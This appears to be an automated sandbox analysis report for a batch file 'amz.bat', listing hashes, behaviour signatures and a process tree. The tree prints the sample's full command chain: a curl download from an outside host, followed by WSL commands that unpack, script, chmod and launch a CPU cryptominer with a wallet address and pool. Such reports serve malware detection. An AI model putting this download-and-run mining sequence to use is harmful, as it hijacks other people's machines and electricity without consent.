Analysis
- max time kernel
18s - max time network
13s - platform
windows10-2004_x64 - resource
win10v2004-20260911-en - resource tags
arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
01/10/2026, 12:22
Static task
static1
Behavioral task
behavioral1
Sample
amz.bat
Resource
win10v2004-20260911-en
2 signatures
300 seconds
Behavioral task
behavioral2
Sample
amz.bat
Resource
win11ltsc2024-20260911-en
2 signatures
300 seconds
General
- Target amz.bat
- Size 797B
- Sample261001-pkbcnashpc
- SHA256 183caf228122db29196b2d1cb58bcbe067a2491c1b96767a6d0c1efa5fdb8bb4
- MD5 31b3d6382e63459cfec5c6b3484f179e
- SHA1 e6963e5a91cb70fd5f882af2eb849e2242b3c619
- SHA512 dcbbc916fa23925c9fc562742eee5d7c847fd349b1be7bf4d40a8169a4f37ff395f3c000e0f8d9f2389cd1c2ac4dcbc2e15a94259fa17b9735e48213c51dc629
- TLSH T19701FD5127D623F091B8A5CCA4BC2156EC0207ABEF4CBC790E2B952D14881D8A3EDDCE
- MD5 SHA1 SHA512 TLSH
Score
3/10
Malware Config
Signatures
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4728 cmd.exe - Suspicious use of WriteProcessMemory 5 IoCs
description pid Process procid_target PID 4728 wrote to memory of 4336 4728 cmd.exe 85 PID 4728 wrote to memory of 3316 4728 cmd.exe 86 PID 4728 wrote to memory of 3800 4728 cmd.exe 87 PID 4728 wrote to memory of 5988 4728 cmd.exe 88 PID 4728 wrote to memory of 6112 4728 cmd.exe 89
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\amz.bat"1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4728 -
C:\Windows\system32\curl.execurl -L -O https://foztor.net2⤵PID:4336
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C:\Windows\system32\wsl.exewsl tar -xvf hoo_cpu-1.4.23.tar.gz2⤵PID:3316
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C:\Windows\system32\wsl.exewsl echo './hoo_cpu -u dgb1qs6n8mf8rwerfd872awwyp3pmy5uuv80gwg7z0m -o stratum+tcp://hoohash-pepew.eu.mine.zpool.ca:8335 -p c=DGB --pepepow -t 4' > hoo_cpu-1.4.23/mine_pepew.sh2⤵PID:3800
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C:\Windows\system32\wsl.exewsl chmod +x hoo_cpu-1.4.23/mine_pepew.sh2⤵PID:5988
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C:\Windows\system32\wsl.exewsl bash -c "cd hoo_cpu-1.4.23 && ./mine_pepew.sh"2⤵PID:6112
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